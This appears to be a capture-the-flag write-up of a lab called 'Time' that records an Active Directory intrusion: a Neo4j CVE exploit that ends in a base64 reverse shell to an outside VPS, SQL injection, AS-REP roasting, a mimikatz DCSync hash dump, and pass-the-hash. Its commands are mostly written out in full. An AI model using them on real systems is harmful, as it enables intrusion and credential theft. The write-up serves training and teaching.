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Spring and Autumn Cloud Mirror Simulation Shooting Range - Time Record

Overview#

Time is a medium-difficulty target environment. Completing this challenge can help players understand proxy forwarding, internal network scanning, information gathering, privilege escalation, and lateral movement techniques in internal network penetration, enhance their understanding of the core authentication mechanisms in domain environments, and master some interesting technical points in domain penetration. There are a total of 4 flags in this target environment, distributed across different target machines.

During the experiment, the target environment was started multiple times, so the IP of the target machine changed a few times, but they all started with 39.

flag1#

Information Gathering#

Masscan for full port scanning

sudo masscan -p1-65535 --rate 5000 39.98.107.240
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2024-01-05 07:16:06 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 7474/tcp on 39.98.107.240
Discovered open port 22/tcp on 39.98.107.240
Discovered open port 44667/tcp on 39.98.107.240
Discovered open port 1337/tcp on 39.98.107.240
Discovered open port 7473/tcp on 39.98.107.240
Discovered open port 7687/tcp on 39.98.107.240

http://39.98.107.240:7474/browser/
https://39.98.107.240:7473/browser/

The above two URLs are Neo4j Browser. Access: http://39.98.107.240:7687/, the interface is as follows

image

From port 7687, it can be inferred that the neo4j component is installed on the server.

image

Neo4j has the CVE-2021-34371 vulnerability, which can be exploited directly as referenced in the link below.

Run with java9, first request the dnslog to see if it can be exploited.

image

Dnslog received the request.

image

Next, reverse shell, 39.98.107.240 is listening on port 1337.

# Execute the following command on the local computer, the base64 encoded content is the reverse VPS server
java -jar rhino_gadget.jar rmi://39.98.107.240:1337 "bash -c {echo,L2Jpbi9zaCAtaSxxxxxxxxxMC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"

The VPS server starts listening nc -lvnp 1234, the VPS server receives the shell, and the IP of this target machine is 172.22.6.36.

image

This target machine has the first flag.

image

flag01: flag{14d2f5e2-b720-449f-87c9-52e0cb450cdd}

flag2#

fscan Scanning Internal Network#

The VPS server starts the web service, and the target machine downloads fscan.

image

neo4j@ubuntu:~$ ./fscan -h 172.22.6.0/24

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.3
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.6.12     is alive
(icmp) Target 172.22.6.25     is alive
(icmp) Target 172.22.6.36     is alive
(icmp) Target 172.22.6.38     is alive
[*] Icmp alive hosts len is: 4
172.22.6.25:445 open
172.22.6.12:445 open
172.22.6.25:139 open
172.22.6.12:139 open
172.22.6.25:135 open
172.22.6.12:135 open
172.22.6.38:80 open
172.22.6.38:22 open
172.22.6.12:88 open
172.22.6.36:7687 open
172.22.6.36:22 open
[*] alive ports len is: 11
start vulscan
[*] NetInfo 
[*]172.22.6.12
   [->]DC-PROGAME
   [->]172.22.6.12
[*] NetInfo 
[*]172.22.6.25
   [->]WIN2019
   [->]172.22.6.25
[*] OsInfo 172.22.6.12  (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.6.25     XIAORANG\WIN2019              
[*] NetBios 172.22.6.12     [+] DC:DC-PROGAME.xiaorang.lab       Windows Server 2016 Datacenter 14393
[*] WebTitle http://172.22.6.38        code:200 len:1531   title:Backend Login
[*] WebTitle https://172.22.6.36:7687  code:400 len:50     title:None
Completed 11/11
[*] Scan finished, time taken: 13.077550134s

Internal Network Information Gathering#

1、DC:172.22.6.12 (Windows Server 2016 Datacenter 14393) DC:DC-PROGAME opened port 88, which is used by Kerberos #DC
2、172.22.6.25 WIN2019 #Domain machine
3、http://172.22.6.38 web page, backend login

SQL Injection#

There is only one login page. When the following content is entered, it displays Welcome, administrator!, but nothing else. There is an injection here, run sqlmap.

username=admin' or '1'='1&password=admin' or '1'='1

image

The flag is located in the oa_f1Agggg table, which is the second flag.

image

flag{b142f5ce-d9b8-4b73-9012-ad75175ba029}

flag3#

Internal Network Penetration#

Use venom to start the proxy.

Venom download address: https://github.com/ropnop/kerbrute/releases/tag/v1.0.3

After starting the socks proxy with venom, access http://172.22.6.38.

image

Enumerate Domain Users#

There is a table in flag02 with a bunch of accounts.

image

Export the accounts, remove spaces, convert to lowercase, and create a dictionary to enumerate accounts with kerbrute.

proxychains -q /home/kali/Desktop/kerbrute_linux_amd64  userenum --dc 172.22.6.12 -d xiaorang.lab username.txt -t 10

Unable to enumerate through the proxy.

image

The tool can only be uploaded to the previously obtained server at 172.22.6.38 for enumeration.

./kerbrute_darwin_amd64 userenum --dc 172.22.6.12 -d xiaorang.lab username.txt -t 10

image

A lot of usernames were cracked, organized into a dictionary file user.txt.

ASREProast Attack#

The GetNPUsers.py tool can find users in the domain that are set to "No Kerberos Pre-Authentication" and attempt to obtain their Ticket Granting Tickets (TGTs) without knowing their passwords.

Then, you can try to crack the session key sent with the ticket to recover the user's password. This technique is known as ASREProast attack.

proxychains4 python3 GetNPUsers.py -dc-ip 172.22.6.12 -usersfile user.txt xiaorang.lab/

image

Two accounts were obtained.

[email protected]@XIAORANG.LAB:26c16dff96869458316c2477ca192408$e46633113daf3fba930a3e016326329adc14790d09e084968a2fd910ccd9baddf0ec34e35f186f3779fd043d8f055fa615288e58b80c233503b6a25987542eedbca307284a52e44bfd7375660db167d3fb5263f7d496cb8e6c98930239ea53783c31fc085c77a2868e61913abee18cf14460d2fe2a9aebdfa89f84e44959b63336f837ba7b02f6e9713a44d4765e24381c64a2ea5fb249ae1ae0276b062f5a32a8b41b9c68330a632f67df2019dc1d2c642950793cca67757e09af49fa657d089081b71f9bba9264b4b7c33ad6d81c00a024b5d7154b850df9c9469bb4b0c0223297444a838cba0ec97d224d

[email protected]@XIAORANG.LAB:5f4042cedcac50fab53fbe2ed069f8bb$92b24440eda0c831a5c184ae655f56e9078be319b726dc41ba2e15cfdcf936383a96e1fc65aa99017dec89ed2f11939cbf430c543ef297c4a857b5d2bfb15a376b9eeb2f7d9e910a844ea43a7969edac7c4fd55c02477378eabc3ef278c07a1261c75e8037e37b1b472111b3ae28fc7132f759ef834ad745e4035187a4569dc712a876ac20421b697e62bb0890a46789aa796709a5a47fd8796b6487e93690102a0a3fc156878e4e508366470dd404bb39476938b05e4a0b5478c3d1431a4b61a49ec15156691a6dcb1bf57710a5859c9c137c69778b1f5f93aca3f8c802bcd93163a15582e4766d35f6b0f4

Crack the passwords using hashcat.

hashcat -m 18200 --force -a 0 '[email protected]@XIAORANG.LAB:5f4042cedcac50fab53fbe2ed069f8bb$92b24440eda0c831a5c184ae655f56e9078be319b726dc41ba2e15cfdcf936383a96e1fc65aa99017dec89ed2f11939cbf430c543ef297c4a857b5d2bfb15a376b9eeb2f7d9e910a844ea43a7969edac7c4fd55c02477378eabc3ef278c07a1261c75e8037e37b1b472111b3ae28fc7132f759ef834ad745e4035187a4569dc712a876ac20421b697e62bb0890a46789aa796709a5a47fd8796b6487e93690102a0a3fc156878e4e508366470dd404bb39476938b05e4a0b5478c3d1431a4b61a49ec15156691a6dcb1bf57710a5859c9c137c69778b1f5f93aca3f8c802bcd93163a15582e4766d35f6b0f4' /Users/grayash/pentesting/web-basic/p12-字典收集/rockyou.txt

The passwords for the two accounts were cracked.

[email protected]/strawberry
[email protected]/hellokitty

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Domain Environment Analysis#

BloodHound#

BloodHound can analyze the domain environment and save all collected information. It consists of ingestors and visualization application.

BloodHound is software that runs locally on the attacker's computer. The attacker must run a collector on the target, which will enumerate a large amount of information about the domain. After the collector finishes running, it will output a series of .json files for import into the attacker's BloodHound interface.

  1. Install BloodHound
apt-get install bloodhound neo4j
  1. Start the neo4j service
sudo /usr/bin/neo4j start

image

image

  1. Access http://localhost:7474/browser/

Default password: neo4j, change the password after logging in.

image

  1. Start BloodHound

Next, start BloodHound, which comes pre-installed on Kali.

Just enter bloodhound, and if you changed the neo4j password, enter the new password.

image

After logging in, the interface is as follows:

image

SharpHound#

Use zhangxin/strawberry to log in to the 172.22.6.25 machine.

proxychains -q xfreerdp /u:"zhangxin" /v:172.22.6.25:3389

image

# If you want to copy files
proxychains -q xfreerdp /u:"zhangxin" /v:172.22.6.25:3389 /p:strawberry +clipboard /drive:tmp,/tmp

image

Log in to the 172.22.6.25 machine, check the users, there are four users, both wenshao and zhangxin have passwords, while yuxuan and administrator do not have passwords at the moment. However, it can be seen that this account has logged in to this machine, so it is necessary to obtain the passwords for yuxuan and administrator.

image

Download SharpHound, upload it to the target machine to collect information.

.\SharpHound.exe -c all

After running, a zip file is generated.

image

Drag and drop the file into BloodHound and wait for the data to load.

Find Domain Admins

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When finding the shortest path to Domain Admins, it was found that the content of 172.22.6.25 was missing, only the following information was available. However, it can be seen that the domain admin can be reached through the yuxuan account, and the yuxuan user has HasSIDHistory.

image

Note: After analysis, it was found that there was an error when exporting the dataset from sharpblood, which led to the failure to collect the information of 172.22.6.25. After several attempts, the same error was still reported.

image

Therefore, it is necessary to obtain the password for the yuyuan account. By using the query user command, it can be known that the yuxuan user has also logged into this server.

image

This indicates that yuxuan has enabled automatic login, and the following command can be used to obtain its password.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

# The result is as follows
DefaultUserName    REG_SZ    yuxuan
DefaultPassword    REG_SZ    Yuxuan7QbrgZ3L

image

HasSIDHistory#

According to the BloodHound graph, the yuxuan user has HasSIDHistory. HasSIDHistory is an attribute in Active Directory (AD) that indicates whether an object has the SIDHistory attribute.

SIDHistory is the SID history of the user. After a domain migration, the ticket still contains the SIDs of the groups in the previous domain, even though the user does not belong to the previous domain, but still has permissions from the previous domain.

Next, log in to 172.22.6.25 using yuxuan for SIDHistory exploitation.

proxychains -q xfreerdp /u:"[email protected]" /v:172.22.6.25:3389 /p:Yuxuan7QbrgZ3L +clipboard /drive:tmp,/tmp

Upload mimikatz.

mimikatz is a powerful tool commonly used to extract credentials and perform various attack techniques. Use the lsadump::dcsync module, which can extract user credentials from the domain by simulating domain controller (DC) synchronization.

mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit"

A bunch of user hashes were extracted.

image

1103    shuzhen 07c1f387d7c2cf37e0ca7827393d2327        512
1104    gaiyong 52c909941c823dbe0f635b3711234d2e        512
1106    xiqidi  a55d27cfa25f3df92ad558c304292f2e        512
1107    wengbang        6b1d97a5a68c6c6c9233d11274d13a2e        512
1108    xuanjiang       a72a28c1a29ddf6509b8eabc61117c6c        512
1109    yuanchang       e1cea038f5c9ffd9dc323daf35f6843b        512
1110    lvhui   f58b31ef5da3fc831b4060552285ca54        512
1111    wenbo   9abb7115997ea03785e92542f684bdde        512
1112    zhenjun 94c84ba39c3ece24b419ab39fdd3de1a        512
1113    jinqing 4bf6ad7a2e9580bc8f19323f96749b3a        512
1115    yangju  1fa8c6b4307149415f5a1baffebe61cf        512
1117    weicheng        796a774eace67c159a65d6b86fea1d01        512
1118    weixian 8bd7dc83d84b3128bfbaf165bf292990        512
1119    haobei  045cc095cc91ba703c46aa9f9ce93df1        512
1120    jizhen  1840c5130e290816b55b4e5b60df10da        512
1121    jingze  3c8acaecc72f63a4be945ec6f4d6eeee        512
1122    rubao   d8bd6484a344214d7e0cfee0fa76df74        512
1123    zhaoxiu 694c5c0ec86269daefff4dd611305fab        512
1124    tangshun        90b8d8b2146db6456d92a4a133eae225        512
1125    liangliang      c67cd4bae75b82738e155df9dedab7c1        512
1126    qiyue   b723d29e23f00c42d97dd97cc6b04bc8        512
1127    chouqian        c6f0585b35de1862f324bc33c920328d        512
1128    jicheng 159ee55f1626f393de119946663a633c        512
1129    xiyi    ee146df96b366efaeb5138832a75603b        512
1130    beijin  a587b90ce9b675c9acf28826106d1d1d        512
1131    chenghui        08224236f9ddd68a51a794482b0e58b5        512
1132    chebin  b50adfe07d0cef27ddabd4276b3c3168        512
1133    pengyuan        a35d8f3c986ab37496896cbaa6cdfe3e        512
1134    yanglang        91c5550806405ee4d6f4521ba6e38f22        512
1135    jihuan  cbe4d79f6264b71a48946c3fa94443f5        512
1136    duanmuxiao      494cc0e2e20d934647b2395d0a102fb0        512
1137    hongzhi f815bf5a1a17878b1438773dba555b8b        512
1138    gaijin  b1040198d43631279a63b7fbc4c403af        512
1139    yifu    4836347be16e6af2cd746d3f934bb55a        512
1140    fusong  adca7ec7f6ab1d2c60eb60f7dca81be7        512
1141    luwan   c5b2b25ab76401f554f7e1e98d277a6a        512
1142    tangrong        2a38158c55abe6f6fe4b447fbc1a3e74        512
1143    zhufeng 71e03af8648921a3487a56e4bb8b5f53        512
1145    dongcheng       f2fdf39c9ff94e24cf185a00bf0a186d        512
1146    lianhuangchen   23dc8b3e465c94577aa8a11a83c001af        512
1147    lili    b290a36500f7e39beee8a29851a9f8d5        512
1148    huabi   02fe5838de111f9920e5e3bb7e009f2f        512
1149    rangsibo        103d0f70dc056939e431f9d2f604683c        512
1150    wohua   cfcc49ec89dd76ba87019ca26e5f7a50        512
1151    haoguang        33efa30e6b3261d30a71ce397c779fda        512
1152    langying        52a8a125cd369ab16a385f3fcadc757d        512
1153    diaocai a14954d5307d74cd75089514ccca097a        512
1154    lianggui        4ae2996c7c15449689280dfaec6f2c37        512
1155    manxue  0255c42d9f960475f5ad03e0fee88589        512
1156    baqin   327f2a711e582db21d9dd6d08f7bdf91        512
1157    chengqiu        0d0c1421edf07323c1eb4f5665b5cb6d        512
1158    louyou  a97ba112b411a3bfe140c941528a4648        512
1159    maqun   485c35105375e0754a852cee996ed33b        512
1160    wenbiao 36b6c466ea34b2c70500e0bfb98e68bc        512
1161    weishengshan    f60a4233d03a2b03a7f0ae619c732fae        512
1163    chuyuan 0cfdca5c210c918b11e96661de82948a        512
1164    wenliang        a4d2bacaf220292d5fdf9e89b3513a5c        512
1165    yulvxue cf970dea0689db62a43b272e2c99dccd        512
1166    luyue   274d823e941fc51f84ea323e22d5a8c4        512
1167    ganjian 7d3c39d94a272c6e1e2ffca927925ecc        512
1168    pangzhen        51d37e14983a43a6a45add0ae8939609        512
1169    guohong d3ce91810c1f004c782fe77c90f9deb6        512
1170    lezhong dad3990f640ccec92cf99f3b7be092c7        512
1171    sheweiyue       d17aecec7aa3a6f4a1e8d8b7c2163b35        512
1172    dujian  8f7846c78f03bf55685a697fe20b0857        512
1173    lidongjin       34638b8589d235dea49e2153ae89f2a1        512
1174    hongqun 6c791ef38d72505baeb4a391de05b6e1        512
1175    yexing  34842d36248c2492a5c9a1ae5d850d54        512
1176    maoda   6e65c0796f05c0118fbaa8d9f1309026        512
1177    qiaomei 6a889f350a0ebc15cf9306687da3fd34        512
502     krbtgt  a4206b127773884e2c7ea86cdd282d9c        514
1178    wenshao b31c6aa5660d6e87ee046b1bb5d0ff79        4260352
500     Administrator   04d93ffd6f5f6e4490e0de23f240a5e9        512
1000    DC-PROGAME$     cf3a203760c27000b2608aa84deb84fc        532480
1179    zhangxin        d6c5976e07cdb410be19b84126367e3d        4260352
1181    WIN2019$        ae61e83d1a79b801495b135293311f74        4096
1180    yuxuan  376ece347142d1628632d440530e8eed        66048

From the above output, the hash value of the administrator is found: 500 Administrator 04d93ffd6f5f6e4490e0de23f240a5e9 512.

Log in to 172.22.6.25 and 172.22.6.12 (DC) using the domain admin's hash to obtain flag03 and flag04.

proxychains crackmapexec smb 172.22.6.25 -u administrator -H04d93ffd6f5f6e4490e0de23f240a5e9 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

image

flag4#

proxychains crackmapexec smb 172.22.6.12 -u administrator -H00000000000000000000000000000000:04d93ffd6f5f6e4490e0de23f240a5e9 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

image

References#

https://www.cnblogs.com/backlion/p/17187354.html
https://www.cnblogs.com/nice0e3/p/15934243.html
https://tools.thehacker.recipes/impacket/examples/getnpusers.py

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